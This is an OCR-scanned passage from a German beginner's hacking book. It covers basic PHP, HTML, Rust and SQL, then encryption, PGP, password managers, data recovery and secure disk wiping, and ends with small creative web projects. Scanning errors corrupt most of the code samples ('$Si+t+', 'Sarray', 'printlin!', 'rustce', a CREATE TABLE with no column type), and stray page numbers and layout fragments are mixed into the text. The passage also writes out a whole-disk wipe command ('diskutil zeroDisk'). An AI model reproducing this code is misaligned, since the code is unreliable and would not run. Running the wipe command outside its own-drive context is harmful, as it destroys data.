Aufgabe und lese die Syntax nach. Die üblichen Konzepte, die 
es in den Sprachen gibt übernehme ich aus dem PHP Hand- 
buch: Grundlagen der Syntax, Typen, Variablen, Konstanten, 
Ausdrücke, Operatoren, Kontrollstrukturen, Funktionen, Klas- 
sen und Objekte, Namespaces. Üblicherweise sieht meine Inter- 


non 


netsuche dann so aus "php lang typen", "go lang typen" oder 
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"c++ lang typen". Falls die Seite nicht gefunden wird, kann 
auch direkt in der Dokumentation gesucht werden. Bei PHP 
lässt sich die Offline-Dokumentation herunterladen, bei Rust ist 
sie normalerweise schon dabei und nach der Installation er- 
reichbar mit "rustup doc". Ich mag es am liebsten wenn die Do- 
kumentation in einer Datei gespeichert ist, sodass ich direkt 
darin mit STRG + F suchen kann. 


Wir schauen uns zusammen die groben logischen Abläufe an, 
da andere Typen, Funktionen und Bibliotheken sehr sprachab- 
hängig sind. Ich benutze im Buch hauptsächlich typunsichere 
Sprachen und Scriptsprachen. Bei anderen Sprachen muss vor- 
her festgelegt werden, welcher Typ (Integer = Zahl, String = 
Zeichenkette) eine Variable hat und diese dürfen nicht gemischt 
werden. Stichwort: Datentyp. Wie immer hilft dir Wikipedia bei 
der Theorie und die Dokumentation der Programmiersprache 
bei der Syntax. 


Bedingungen 

Mit einer schönen Verzweigung von if und else können wir prü- 
fen, ob eine Bedingung erfüllt ist oder nicht. Dadurch wird 
entweder der if oder else Codeblock ausführen. Das wird später 
bei "Reverse Engineering" wieder interessant. Diese logischen 
Abläufe sind schon in den Tutorials für Kinder und Jugendliche 
drin. Statt die logischen Blöcke, müssen wir uns die Syntax an- 
schauen und die Details am besten direkt in der Dokumentation 
nachlesen. 
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Vergleichende Operatoren: 

Diese werden je nach Programmier- oder Schriftsprache unter- 
schiedlich geschrieben. In der PHP Dokumentation findet sich 
das in der Dokumentation unter "Vergleichs-Operatoren". 


Im Grunde gibt es die Folgenden: 


gleich 


ungleich 


< 


kleiner als 


<= 


kleiner als oder gleich 


> 


größer als 


>= 


größer als oder gleich 


Logische Operatoren: 


AND 
und 
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OR 
oder 


Schleifen 

Es gibt verschiedene Arten von Schleifen, das heißt der Code 
innerhalb der Schleife wiederholt. Bei einer for-Schleife geben 
wir die Bedingung mit und können somit bestimmen, wie oft 
der Code ausgeführt wird. 


Ein einfaches Beispiel. Wir speichern in einer Datei test.php 
folgenden Inhalt: 


<?php 

for ($i=0; Si < 10; $Si+t+) { 
echo "Hello World! $i\n"; 

}i 


2> 


Jede Variable wird in PHP mit $ markiert. In der Schleife setzen 
wir $i zu Beginn auf O und führen die Schleife solange aus, wie 
$i kleiner als 10 ist. $i++ bedeutet, dass der Wert $i immer um 
Eins erhöht wird, also in Einer-Schritten. Schleifen werden spä- 
ter beim "Portscanner" bzw. bei dem Thema "Internet scannen" 
interessant. 


Wir führen es in der Shell aus mit: 
>>> php test.php 


Und bekommen als Ausgabe: 
Hello World! O0 
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Hello World! 1 
Hello World! 2 
Hello World! 3 
Hello World! 4 
Hello World! 5 
Hello World! 6 
Hello World! 7 
Hello World! 8 
Hello World! 9 


While-Schleifen oder Do-While Schleifen werden so lange aus- 
geführt, bis die Bedingung nicht mehr wahr ist. Wer die Bedin- 
gung falsch vorgibt, wird schnell lernen was eine Endlosschleife 
ist. 


Arrays 

Listen (= Arrays) sind eine schöne Sachen. Üblicherweise fan- 
gen sie mit dem Index bei O an zu zählen. Wodurch ein Array 
von 10 Elementen bei O0 anfängt und bei 9 aufhört. 


<?php 
Sarray = [ 
0, 
l, 
2, 
"cool" 
li; 
echo "$array[3]"; 


?> 
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Wenn wir $array[3] eintippen, wird hier der vierte Wert ausge- 
geben, weil bei Null angefangen wird zu zählen. 


Dateien lesen oder schreiben 

Eine weitere Grundfunktion, ist der Umgang mit Dateien auf 
dem Webserver und die Weiterverarbeitung der Daten. Später 
beim Portscanner speichern wir uns den aktuellen Stand in ei- 
ner Datei. 


Gibt den Inhalt einer Datei aus: 


echo file _get_contents("test.txt"); 


Speichert Inhalt in eine Datei: 
file_put_contents("test.txt", "Inhalt"); 


Der Wikipedia-Artikel zur objektorientierten Programmierung 
ist deutlich einfacher geworden im Vergleich zu früher. Dort 
werden Klassen am Beispiel einer Lampe erklärt, die verschie- 
dene Eigenschaften und Methoden haben kann. Eigenschaften, 
wie Gewicht, Helligkeit und Lichtfarbe. Als Methoden gibt es 
"einschalten" und "ausschalten". Das ist der Bauplan für das Ob- 
jekt Lampe. Der Status der Lampe würde ich noch hinzufügen, 
sodass jede Lampe ausgeschaltet startet und mit der Methode 
"einschalten" angeschaltet werden kann. Wie Objektorientie- 
rung in der jeweiligen Programmiersprache funktioniert, steht 
auch in der Dokumentation drin. 


Am Ende musst du wissen und verstehen wie Variablen, Daten- 


typen funktionieren, welche Standardfunktionen es gibt, wie 
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Schleifen funktionieren und was Klassen sind. Nach einiger Zeit 
hast du grob einen Ablaufplan im Kopf. 


Wer auf Probleme stößt und findest du mit etwas Glück Hilfe 
oder funktionierende Beispiele im WWW. Stackoverflow wird 
dein guter Freund werden. Aber passe dabei auf, schau vorher 
in die Dokumentation was du dort raus kopierst. ;) 


Was in jedem Hacker Guide erwähnt wird ist HTML. Jeder Ha- 
cker sollte die Grundlagen von HTML kennen, schließlich ist 
das WWW damit gebaut. Manche Hacker Guides behaupten 
auch, dass du als erste "Programmiersprache" HTML lernen 
sollst. Nach dem ersten Abschnitt auf Wikipedia sollte jedem 
klar sein, dass HTML keine Programmiersprache ist. Es ist eine 
Markup Language. Die kümmert sich nur um Gliederungen und 
Formatierung. 


HTML 

Die "Hypertext Markup Language" wird benutzt, um im Brow- 
ser deiner Wahl eine Webseite anzuzeigen. HTML gibt die 
Struktur der Seite vor, beinhaltet Links zu anderen Seiten und 
Bilder. CSS, die Abkürzung für: "Cascading Style Sheets" macht 
die HTML Elemente hübsch, weil es beschreibt wie der Browser 
diese darstellen soll. 


Der Grundaufbau einer HTML-Seite sieht so aus: 
<!DOCTYPE html> 
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<html lang="de"> 
<head> 
<meta charset="UTF-8"> 
<meta name="viewport" content="width=device-width, initi- 
al-scale=1.0"> 
<meta http-equiv="X-UA-Compatible" content="ie=edge"> 
<title>Titel</title> 
</head> 
<body> 
<hl>Überschrift Level 1</h1> 
<a href=,„adresse anderer“>Klickbarer Text</a> 
<img src=„urlzumbild“/> 
</body> 
</html> 


HTML wird vom W3C (= World Wide Web Consortium) stan- 
dardisiert, sodass verschiedene Browser die Spezifikationen 
umsetzen können und es trotzdem in allen (mehr oder weni- 
ger) gleich aussieht. 


Dementsprechend gut sind alle Elemente und Attribute doku- 
mentiert. 


JavaScript sorgt dafür, dass Webseiten dynamisch werden und 
die Elemente, die erstmal aus dem HTML Dokument heraus er- 
stellt werden, nach dem Erzeugen noch bearbeitet und manipu- 
liert werden können. Der Code wird auf Client-Seite, also im 
Browser des Besuchers einer Webseite ausgeführt. Mit NodeJS 
gibt es auch eine serverseitige Komponente. Der Code wird dort 
ausgeführt, wo Node läuft. 
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Es gibt einige Plattformen, bei denen HTML direkt online aus- 
probiert werden kann z.B. Codepen oder Glitch. Auf 
selfhtml.org steht ein komplettes Tutorial. HTML Grundlagen 
sollten alle Hacker/-innen beherrschen. 


Da ich als Web Entwickler viel mit JavaScript und HTMLS5 ma- 
che, gibt es auch ein paar Experimente dazu im Netz z.B. Text- 
adventures, eine Cookie-Law Parodie oder eine "OK Boomer" 
Seite mit Web Speech API. 


Textadventure: https://www.1337core.de/detektiv/ 
Datenschutz: https://www.1337core.de/datenschutz/ 
OK Boomer: https://www.1337core.de/okboomer/ 


RUST 

Wer eine Programmiersprache sucht, um daraus Software zu 
programmieren und weniger auf das Web fokussiert ist, der 
findet neben den Klassikern wie C++ oder Java auch neuere 
Ansätze, die zum Beispiel Sicherheitsprobleme lösen wollen 
und trotzdem leistungsfähig sind. 


Da haben wir auch schon einen Unterschied zu PHP PHP ist 
eine Scriptsprache. Scriptsprachen werden über einen Interpre- 
ter ausgeführt, der sich den Quellcode nimmt und durcharbei- 
tet. Rust ist eine Programmiersprache, deren Quellcode vorher 
in Maschinensprache für eine bestimmte Prozessorarchitektur 
kompiliert werden muss. Dadurch wird das Programm schnel- 
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ler. Zu Scriptsprachen, Compiler und Prozessorarchitektur gibt 
es einiges zu lesen im Netz. 


Rust wird im Mozilla Umfeld entwickelt. Der Einstieg ist bei mir 
immer gleich: Ich besuche die Webseite und fange an zu lesen. 
Wichtig ist erstmal, wo ich den Compiler her bekomme und wie 
ich damit herum spielen kann. Es gibt einen Online Playground, 
die Installation ist aber auch unkompliziert. 


Die berühmte Suche nach dem "Hello World". Eine Basis um 
überhaupt mit dem Programmieren anzufangen. Die Dokumen- 
tation sieht ausführlich aus. Wir richten uns irgendeine Art Edi- 
tor ein und der Rest passiert in der Shell. 


Entwicklungsumgebung einrichten 

Je nachdem welche Software du benutzt, gibt es verschiedene 
Tools, die du beherrschen und einrichten musst. Bei Scriptspra- 
chen oder HTML reicht ein handelsüblicher Text-Editor. Aller- 
dings ist es deutlich einfacher mit Syntax-Highlighting. High- 
lighting von zugehörigen Klammern, Autovervollständigung 
und integriertem Git. Außerdem ist Debugging wichtig, damit 
wir Fehler finden und entfernen können. Dabei werden Break- 
points gesetzt, die unser Programm an der gewünschten Stelle 
anhalten, um den Ablauf Schritt für Schritt zu analysieren. 


Eine "Integrierte Entwicklungsumgebung" (kurz IDE) muss her. 
Je nach Sprache gibt es verschiedene Editoren, die besser pas- 
sen. Außerdem ist es auch Geschmacksache. Ich mag persönlich 
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Visual Studio Code, Atom und Sublime Text. Das liegt aber 
auch daran, dass ich Scriptsprachen gewohnt bin. Für Java oder 
C++ wären Tools wie Eclipse, CodeBlocks oder NetBeans bes- 
ser. Im Apple Universium ist es XCode. Eine Internetsuche nach 
der jeweiligen Programmiersprache und IDE hilft auch. 


Um zu Starten: 
* Compiler oder Laufzeitumgebung einrichten. 
* Gewünschten Editor für die Sprache installieren. 
* Nachschauen wie Debugging funktioniert. 


Rust hat einige Hilfstools: RustUP kümmert sich um deine Tool- 
chain. Das sind Bibliotheken, die du für verschiedene Aufgaben 
brauchst. Darüber werden auch Updates für diese Pakete instal- 
liert. 


RustC ist der Compiler. Cargo managed das Projekt. Das süße 
"Hello World" sieht so aus: 


£fn main() { 
printlin!("Hello, world!"); 
} 


Ich installiere Rust, kopiere die Zeilen in den Editor. Speichere 
es als main.rs und tippe "rustce main.rs" in meine Shell. Es wird 
kompiliert und eine Anwendung mit dem Namen "main" er- 
scheint. Wenn ich diese in der Shell ausführe, sehe ich mein 
"Hello, world!". 


115 


Debugging wäre auch schön, sodass ich während der Laufzeit 
stoppen und Fehler suchen kann. Dafür muss ich auf meinem 
System "CodeLLDB" installieren. 


Dazwischen probiere ich "cargo" aus und erstelle damit ein 
neues Projekt. 


>>> cargo new hello_world 


Dort befindet sich die Main-Datei in /src. Es gibt eine .toml, 
was gleich wichtig wird. 


Ich installiere "CodeLLDB" für Visual Studio Code. Eine Erwei- 
terung für meinen Editor und starte das Debugging in der 
Main-Datei. Es wird nach einer Config gejammert. Nachdem ich 
wegen einer Fehlermeldung etwas auf der falschen Fährte war, 
merke ich, dass ich im falschen Ordner bin. Wow, der klassische 
Fehler. Ich wechsle in den richtigen Ordner, in dem auch das 
"Hello_World" Projekt liegt. Es wird wieder über die fehlende 
Config gejammert, kann diese aber direkt auf Basis der "Cargo.- 
toml" Datei selbst erstellen. Ich setze einen Breakpoint, starte 
das Debugging und er hält auch an diesem Punkt. Juhu! 


Nun habe ich aber immer noch keine Ahnung wie genau diese 


Programmiersprache funktioniert. Also lese ich weiter in der 
Rust Dokumentation. 
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Cargo kümmert sich um abhängige Pakete, die vor allem in der 
richtigen Version installiert werden müssen. 


Das Start-Beispiel beginnt mit einem Spiel, bei dem eine Zu- 
fallszahl generiert wird und mit einer einfachen Eingabe gera- 
ten wird. Dafür braucht es "use rand::Rng;“. Wir installieren 
das Paket, wie im Beispiel. Damit die Werte auf einfache Weise 
verglichen werden können, nutzen wir cmp::Ordering. Ich ko- 
piere den Code aus dem Beispiel, schaue mir an wie . Das klei- 
ne Ratespiel aus der Dokumentation: https://github.com/Leet- 
core/wie-werde-ich-hacker/tree/master/scripts/guess-game- 


rust 


Wer einmal die Grundlagen der Dokumentation durchprobiert 
hat und danach auch noch weiß was er gerne damit program- 
mieren möchte, hat gute Karten die Sprache richtig zu lernen. 


Datenbanken 

Große Datenmengen werden in Datenbanken gespeichert und 
können dort auf verschiedene Arten abgefragt werden. Relatio- 
nale Datenbanken sind wie eine Tabelle mit Spalten und Zeilen 
aufgebaut. Spalten haben einen entsprechenden Typ und kön- 
nen in Relation mit anderen Tabellen stehen. Wir werden uns 
SQL (= Structured Query Language) anschauen, weil diese oft 
verwendet wird und später noch das Thema "SQL Injection" 
kommt. Mein Einstieg damals war relativ nervig, weil ich natür- 
lich direkt einen SQL Server installieren wollte. Das ist kein gu- 
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ter Start. Der erste Startpunkt wäre ein Tutorial auf w3schools.- 
com. Außerdem ist der SQL Artikel auf Wikipedia relativ ver- 
ständlich geschrieben. Heute gibt es Online Tools, mit denen 
direkt herum probiert werden kann. 


Wer im WWW nach "sql online" sucht, findet ein Webtool mit 
dem auf bestehenden Tabellen Queries ausprobiert werden 
können. Entweder lässt sich dort das Beispiel eintragen oder du 
installierst dir zum Testen XAMPP mit phpMyAdmin. 


Tabelle: Hacker 


ID Vorname Name 
1 Kevin Mitnick 
2 Karl Koch 
3 Crunch Captain 
4 Dante Dark 


Tabelle: Beruehmte Hacks 
ID Name des Hacks 
1 Verteidigungsministerium 
1 Geheimer Hack 
2 KGB-Hack 
3 | Bluebox 


Um die Tabellen zu erzeugen brauchen wir CREATE TABLE und 
INSERT INTO. Da ich relativ selten SQL benutze, muss ich die 
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Syntax auch jedes Mal nachschlagen. Als Besonderheit musst 
du noch wissen, was ein Primary Key ist, was auch im SQL Tu- 
torial steht. 


CREATE TABLE Hacker (ID int PRIMARY KEY, Vorname varchar(255), 
Nachname VARCHAR(255)) ; 


INSERT INTO Hacker VALUES (1, "Kevin", "Mitnick"), (2, "Karl", 
"Koch"), (3, "Crunch", "Captain"), (4, "Dante", "Dark"); 


CREATE TABLE Beruehmte_ Hacks (ID, "Name des Hacks" 
varchar(255)); 


INSERT INTO Beruehmte Hacks VALUES (1, "Verteidgungsminister- 
um"), (1, "Geheimer Hack"), (2, "KGB-Hack"), (3, "Bluebox"); 


Die ID wird zum Primärschlüssel, weil sie eindeutig ist und in 
der Hacker Tabelle als Fremdschlüssel zugewiesen. So finden 
wir bei Kevin Mitnick zwei Hacks, wenn wir die Daten der bei- 
den Tabellen über die ID zusammen führen. 


Abfragen werden als SQL Query geschrieben. Die Abfrage wür- 


de hier so aussehen: 


SELECT * 
FROM Hacker JOIN Beruehmte_ Hacks 
USING (ID); 


Eine Query auf ID 1 sieht so aus: 


SELECT Vorname, Nachname 
FROM Hacker 
WHERE ID = 1; 
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Wir sind nun ein paar wichtige Grundlagen durchgegangen. 
Neben Programmierung ist Datenschutz immer wieder ein 
Thema für Hacker. Vor allem sollten ein paar Prinzipien zum 
Schutz von Daten und Kommunikation klar sein. 


Verschlüsselung 

Kryptosysteme sind wie ein Kaninchenbau, aus dem du nie 
wieder raus kommst. Im Prinzip funktioniert asymmetrische 
Verschlüsselung mit einem Schlüsselpaar: Ein öffentlicher 
Schlüssel und ein privater Schlüssel. 


Durch das asymmetrische Verschlüsselungsverfahren kann eine 
Nachricht, die mit diesem öffentlichen Schlüssel verschlüsselt 
wurde, nur mit dem privaten, geheimen Schlüssel entschlüsselt 
werden. Mathematisch wird das mit Einweg Funktionen reali- 
siert, die leicht zu berechnen sind, es aber praktisch unmöglich 
ist sie zurück zu rechnen. In so ziemlich jedem Beispiel heißen 
die zwei Kommunikationsteilnehmer Alice und Bob, auch im 
Wikipedia Artikel: "Asymmetrisches Kryptosystem". Das ist ei- 
ner der sehr guten Wikipedia Artikel, was mich nochmal daran 
erinnert, dass ich alle Informationsquellen lokal sichern wollte. 
Der Artikel zu RSA und die weiterführenden Links mit Einzel- 
nachweisen können als Einstieg hilfreich sein. Im Artikel "RSA- 
Kryptosystem" ist auch ein Beispiel dabei. 


Von Hacker/-innen wird erwartet, dass sie fähig sind verschlüs- 
selte E-Mails zu beherrschen. Also schauen wir uns das an. 
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PGP 
Da E-Mails im Internet grundsätzlich unverschlüsselt sind, ist es 
wichtig, dass du verschlüsselte Mails empfangen und verschi- 
cken kannst. Nur mit Glück werden Mails überhaupt beim 
Transport zwischen Mailservern verschlüsselt übertragen wer- 
den. 


Als technikbegeisterter/-e Bastler/-in kannst du tolle OpenPGP 
Software installieren und konfigurieren. Normalsterbliche Nut- 
zer haben dabei eher Probleme, weil die Software alles andere 
als leicht verständlich ist. Hier stoßen wir auf das übliche Pro- 
blem. Für Programmierer/-innen und Bastler/-innen steht die 
Sicherheit an oberster Stelle. Für den normalen Endanwender 
steht Funktionalität und wenig Konfiguration ganz oben. Das 
ist bei PGP mit dem Schlüsselmanagement z.B. für verschiede- 
ne Geräte schon zu schwierig. 


Das einfachste Tool, was ich bisher gefunden habe, ist ein PGP- 
Plugin für die bekanntesten Webmailer wie GMX, Outlook oder 
GMail. Eigene Webmailer können auch hinzugefügt werden. Es 
heißt mailvelope.com und ist eine Erweiterung für Chrome und 
Firefox. 


Der/die Sender/-in braucht deinen öffentlichen Schlüssel, was 
er/sie über öffentliche Keyserver finden kann. Vorher muss der 
Empfänger diesen natürlich generiert und hochgeladen haben. 
Die guten Keyserver schicken eine Bestätigungsmail an die E- 


121 


Mailadresse, damit sie nicht zugemüllt werden mit falschen 
Schlüsseln z.B. keys.openpgp.org. 


Mailvelope unterstützt dich schon etwas bei der Verwaltung der 
Schlüssel. Meinen privaten PGP Schlüssel habe ich auf einem 
USB-Stick gesichert. Verschlüsselte Nachrichten zu versenden 
ist gut, die eigenen Dateien sollten aber auch geschützt werden, 
falls ein Datenspeicher abhanden kommt. Das wird bei den 
Themen Hackerparagraph, Anonymisierung und Hausdurchsu- 
chung noch spannend. 


Daten verschlüsseln 

Jedes populäre Betriebssystem hat die Möglichkeit die Festplat- 
te zu verschlüsseln. Unter Windows 10 nennt sich das Bitlocker. 
Linux-Nutzer können beim Installieren des Systems bereits Luks 
verwenden. Mac-Nutzer navigieren dazu in den Einstellung 
über Sicherheit zu FileVault. 


Einzelne Dateien lassen sich auch verschlüsseln. Anleitungen 
dafür gibt es genügend. Bei allen Systemen lässt sich das mit 
Bordmitteln erreichen. Dort werden "virtuelle Festplatten" in 
den Festplattenprogrammen erstellt, die eingebunden werden 
können. Diese lassen sich verschlüsseln und sind damit sehr 
flexibel zu nutzen. 


Für Linux sind fortgeschrittene Kenntnisse erforderlich. Anlei- 
tungen sind auf Ubuntu-Users unter "luks containerdatei" in ei- 
ner Suchmaschine deiner Wahl zu finden. 
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Windows 10: 
* Datenträgerverwaltung öffnen. 
* "Virtuelle Festplatte erstellen und anfügen". 
* VHDX auswählen. 
* Dateisystem wählen und formatieren 
* Danach das Laufwerk im Explorer finden. 
* Bitlocker für das virtuelle Laufwerk aktivieren. 


MacOS: 
* Festplattendienstprogramm Öffnen. 
* Ablage im Kontextmenü. 
* Neue Images > leeres Image. 
* Name und Speicherort wählen. 
* Sichere Verschlüsselung auswählen. 
* Speichern. 


Diese Container lassen sich auch auf USB-Sticks oder Micro SD- 
Karten speichern. Ein weiteres bekanntes Tool für speziellere 
Anforderungen ist "VeraCrypt". Das ermöglicht sogar versteckte 
Container. Das ist die Lösung, falls der oder die Besitzer/-in ge- 
zwungen wird das Passwort herauszugeben. 


Passwortsicherheit 
Sichere Passwörter zu erstellen und sie sich zu merken ist nicht 
schwer. Statt ein "Passwort" solltest du besser an einen Satz 
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denken. Einen Satz, der komplett als "Passworteingabe" getippt 
wird. Falls es hier eine Längenbeschränkung gibt, können auch 
nur die Anfangsbuchstaben der Wörter des Satzes verwendet 
werden. Ich muss mir auch angewöhnen eine böse Mail an den 
Support zu schreiben, falls nicht genügend Zeichen bei einem 
Passwort erlaubt sind. 


Passwortmanager 

Leider müssen sich Nutzer/-innen unzählige Passwörter mer- 
ken, wenn sie in einem Online-Shop etwas bestellen oder sich 
irgendwo anmelden. Dabei kann ein Passwortmanager helfen. 


Die wirklich wichtigen Dienste sind E-Mails (darüber lassen 
sich viele andere Passwörter zurücksetzen) und der eigene 
Rechner. Ein richtig gutes Passwort sollte für den Passwortma- 
nager verwendet werden. Dort werden die automatisch gene- 
rierten Passwörter gespeichert. 


Browser bieten sowieso die Möglichkeit Passwörter speichern 
zu lassen, aber einige nur in der Cloud wie Google Chrome. Bei 
Firefox musst du keinen Account anlegen und bei Safari lässt 
sich immerhin der Sync deaktivieren. Es gibt eine Reihe von 
Passwortmanagern für alle anderen Aufgaben. KeePass wäre 
mein Mittel der Wahl. Ein richtig gutes Passwort und ein Pass- 
wortmanager ist quasi Hackerpflicht. 
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Daten wiederherstellen 

Wer in die unschöne Situation kommt, dass ein wichtiges Pass- 
wort vergessen wurde, kann versuchen die Verschlüsselung 
selbst zu knacken. 


Je nachdem welche Art von Verschlüsselung oder Dateiformat 
geknackt werden sollen, gibt es unterschiedliche Tools. Für ZIP- 
Dateien z.B. fcrackzip. Falls deine lokale Rechenleistung nicht 
ausreicht oder zu sehr deine Hardware in Anspruch nimmt, 
dann lagere es in die "Cloud" aus. Das heißt: Miete dir die pas- 
sende Hardware und lass es dort knacken. Das geht schneller, 
kostet aber auch entsprechend Geld. 


Ein Passwortmanager und Backups sollten so eine Situation 
verhindern, aber es passieren auch ab und an unvorhergesehe- 
ne Dinge. Es ist bereits von Vorteil zu wissen wie die ungefähre 
Länge des Passworts ist und einzelne bekannte Zeichen. Aller- 
dings dauert es trotzdem je nach System sehr lange bis es ge- 
knackt ist und die Daten erreichbar sind. 


Dateien werden vom Betriebssystem nicht wirklich "gelöscht", 
sondern nur zum Überschreiben markiert. Falls sie nicht über- 
schrieben werden bleiben die gelöschte Blöcke weiterhin auf 
der Festplatte. Das sollte immer im Hinterkopf sein, wenn du 
nicht verschlüsselte Datenträgern benutzt. 


Es gibt Festplattentools, die solche Dateien wiederherstellen, 
weil sie alle Daten lesen. Einige Tools sind kostenpflichtig. Ein 
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kostenloses Programm wäre z.B. "PhotoRec", was auch seinen 
Dienst tut. 


Daten sicher löschen 
Eins vorweg, am Besten ist es, wenn die Daten komplett ver- 
schlüsselt sind, dann hast du das Problem nur halb. Unter Ma- 
cOS gibt es dafür "diskutil". Damit lässt sich die Festplatte 
(HDD) sicher löschen. 


Erstmal die richtige Festplatte finden: 


>>> diskutil list 


Richtige Festplatte auswählen und danach: 
>>> diskutil zeroDisk /dev/disk2 


Dieser Befehl beschreibt das Medium mit Nullen. Unter Linux 
ist "wipe" das Tool der Wahl. Das geht auch bei einzelnen Da- 
teien oder Ordnern. 


Wer allerdings eine SSD besitzt sollte mit "Parted Magic" und 
der "Secure Erase" Funktion dran gehen. Die interne Speicher- 
logik bei SSDs ist anders, deshalb lassen sich die Daten nicht 
gezielt löschen oder wiederherstellen. Ein Überschreiben der 
ganzen SSD funktioniert mit "Secure Erase". 


Besser als "sicher löschen" ist allerdings die ganze Festplatte 
oder SSD vorher zu verschlüsseln. Falls der Datenträger weiter- 
verwendet werden soll: 
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* Speicher komplett verschlüsseln (Kapitel "Daten verschlüs- 
seln"). 

* Speicher mit "Nullen" überschreiben. 

* Speicher neu formatieren. 


Praxis: Alte SSDs habe ich bisher immer mit der Hammer-Me- 
thode gelöscht. Dieses "Tool" heißt Hammer und gibt es im 
Baumarkt. Es wird benutzt, in dem ordentlich oft auf die SSD 
gehauen wird, bis diese Dellen bekommt. Danach wird mit dem 
Werkzeug Rohrzange noch ein paar Anschluss-Pins gezogen, 
sodass Gelegenheitsschnüffler nicht auf dumme Ideen kommen. 
Wenn möglich schraube ich das Gehäuse auf und haue ein paar 
Bauteile von der Platine. Das erhöht doch deutlich den Auf- 
wand und am Ende sind sowieso keine Daten drauf, die irgend- 
jemand verwenden könnte. 


Wir sind durch mit den Grundlagen. Das absolute Grundwissen 
auf dem Weg zum Hackerdasein. Jetzt kommt der Teil auf den 
ich mich am meisten gefreut habe. Viele kleine Hacker-Projekte. 


Start der Projekte 

Wenn die IT-Grundlagen, Internetwissen und Programmierung 
bekannt sind, fehlen doch nur noch die Hacks. Hacks mit hoher 
Kreativität oder Material, was bereits da war. Probleme lösen 
oder Dinge, die einfach nur schön aussehen. Mit dem Internet 
spielen. Mit Code spielen. Open Source voran treiben. Spaß ha- 
ben! 
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Ich habe mir für die Projekte ein paar interessante Beispiele 
herausgesucht. Außer bei Bitcoins. ;) Manche Sachen konnte 
ich schon gut, aber anderen musste ich auch komplett neu ler- 
nen, wie Reverse Engineering. Wie immer gehe ich auf die glei- 
che Art und Weise an die Themen ran. Neugierig sein. Auspro- 
bieren. Verstehen! 


Schönheit 

Für Hacker/-innen steht der Spaß am Gerät im Vordergrund. 
Neben unzähligen Möglichkeiten wie Schönheit genau ausse- 
hen kann, gibt es verschiedene Szenen, die digitale Kunstwerke 
erstellen. Die "Demo Szene" zählt zu den ältesten. Hier werden 
aufwendige Animationen programmiert, teilweise auf alter 
Hardware und möglichst wenig RAM, was eine zusätzliche 
Herausforderung darstellt. 


Eine "Demo" zeigt was der "Szener" mit Code und Algorithmen 
erschaffen kann. Diese Demos werden immer in Echtzeit be- 
rechnet und sind keine Videos. Der Computer arbeitet beim Ab- 
spielen jedesmal die Befehle ab. 


Ein Intro, ist oft auf eine feste Größe beschränkt und deshalb 
eine größere Herausforderung. Es gibt dort verschiedene Kate- 
gorien, Grafik, Animation, Music und dann jeweils die Katego- 
rie der Plattform. Zwei große Veranstaltungen sind z.B. die Re- 
vision und Evoke. 
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Das Ziel sind hübsche Animationen, die auf verschiedener 
Hardware realisiert werden können. Im Web gibt es z.B. 
https://livecodelab.net, das den Code direkt in Grafiken mit 
WebGL umsetzt. Da ich aus dem Web Bereich komme und es 
cool finde, wenn sich die Sachen jeder direkt anschauen kann, 
werde ich auch bei Web Beispielen bleiben. 


Ein schönes Beispiel was einfach nur unterhalten soll und viel- 
leicht auf einem Monitor irgendwo vor sich hin laufen kann ist 


das Web Aquarium in dem Emoji-Fische herum schwimmen. 


Je nach Betriebssystem sehen die Fische übrigens anders aus, 
weil die Emojis von jedem Betriebssystem unterschiedlich dar- 
gestellt werden. 
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Im Prinzip besteht das Aquarium auf HTML und CSS, den Blo- 
ckelementen mit Emojis drin und JavaScript mit einem Timer, 
sowie ein Zufallsgenerator, der die Fische bewegt. Es soll ein- 
fach nur hübsch aussehen und im Browser Vollbild auf einem 
Tablet kommt es gut zur Geltung. 


Demo: https://fishies.glitch.me/ 


Partikel 

Früher konnte ich mich sehr über die WinAMP Visualisierung 
freuen, die hübsche Partikel und Wellen passend zur Musik an- 
gezeigt hatte. Es gibt unzählige Demos und Beispiele, die etwas 
in Richtung Visualisierung tun. Im Web Bereich lohnt es sich bei 
CodePen.io vorbei zu schauen. Hier gibt es viele Demos mit 
dem entsprechenden Code dazu. Eine Quelle an Inspiration 
und Mustern, die sich der/die geneigte Hacker/-in abschauen 
und modifizieren kann. 


Da ich ein Freund des WWWs bin, picke ich mir ein Beispiel 
von Code Pen. Dort gibt es eine Partikel-Demo, die bewegte 
Kreise zeichnet. 


Also schauen wir uns den Code an und modifizieren ihn. Zwi- 
schen den Frames habe ich ein Reset entfernt, sodass die Punk- 
te nicht erneut auf schwarzem Hintergrund gezeichnet werden, 
sondern ihre Spuren hinterlassen. Dadurch bekommst du einen 
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relativ schnellen Einstieg in Canvas Elemente und kannst auf 
der Basis ausprobieren, welche Änderungen dir gefallen. 


Demo: https://codepen.io/leetcore/pen/OJPLZOm 


10 Print 10 
Ein berühmtes Muster soll durch diesen kleinen Codeschnipsel 
auf dem C64 erzeugt werden: 


10 PRINT CHR$(205.5+RND(1)); : GOTO 10 


Das Symbol lässt sich mit Slash oder Backslash vergleichen. Es 
wird abwechseln geschrieben bis die Seite gefüllt ist. Da die 
Zeilen direkt aneinander sitzen, ergibt sich eine Art Labyrinth. 
Da ich keinen C64 besitze, versuche ich mein Glück auf einem 


131 


m. 


QBasic Online "Emulator". Der führt am Ende Javascript in 


meinem Browser aus. 


Meine Variante habe ich so gebaut: 
FOR i = 1 TO 5000 
IF RND(1) <= 0.5 THEN 
FULL$ = FULL$ + "/" 
ELSE 
FULL$ = FULL$ + "\" 
END IF 
NEXT i 
PRINT FULL$S 
END 


RND(1) erzeugt eine Zufallszahl zwischen Null und Eins. Die 
Darstellung der ist leider nicht gleich z.B. passt die Zeilenhöhe 
im Emulator nicht. Da ich mich dort allerdings im Browser be- 
finde, helfe ich mit CSS und "line-height: 11px" etwas nach. 
Außerdem sind die Zeichen zu weit auseinander, da hilft "letter- 
spacing: -3px". 
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Das sieht für mich nach einem Labyrinth aus. Ziel erfüllt! 


Shitty Mini Games 

Da ich ein Freund des WWWs bin und mich damit auskenne, 
fing ich an bestimmte Spielmechaniken als kleine Mini Games 
zu programmieren. Eigentlich nenne ich sie immer: Shitty Mini 
Games. Diese sind meistens innerhalb eines Wochenendes ent- 
standen und natürlich alles andere als vollwertige Spiele. Es 
gibt einige "Game Jams", bei denen kreative Programmierer/- 
innen und Designer/-innen über einen bestimmten Zeitraum an 
neuen Ideen arbeiten. 


Für aufwändige Grafiken und Animationen fehlt mir die Zeit 
und das Talent, deshalb benutze ich meistens Emojis oder eben 


gar keine Grafiken. Aber ich mag die Challenge. Also habe ich 


133 


mir ein Limit von ei- Du bist in Level 6 

ner Stunde gesetzt 

und versucht in ir- = = = 
gendeiner Form etwas 


“TICK* 


Spielbares zu bauen. 


Die Idee war eine Rei- 

he von Quadraten, die 

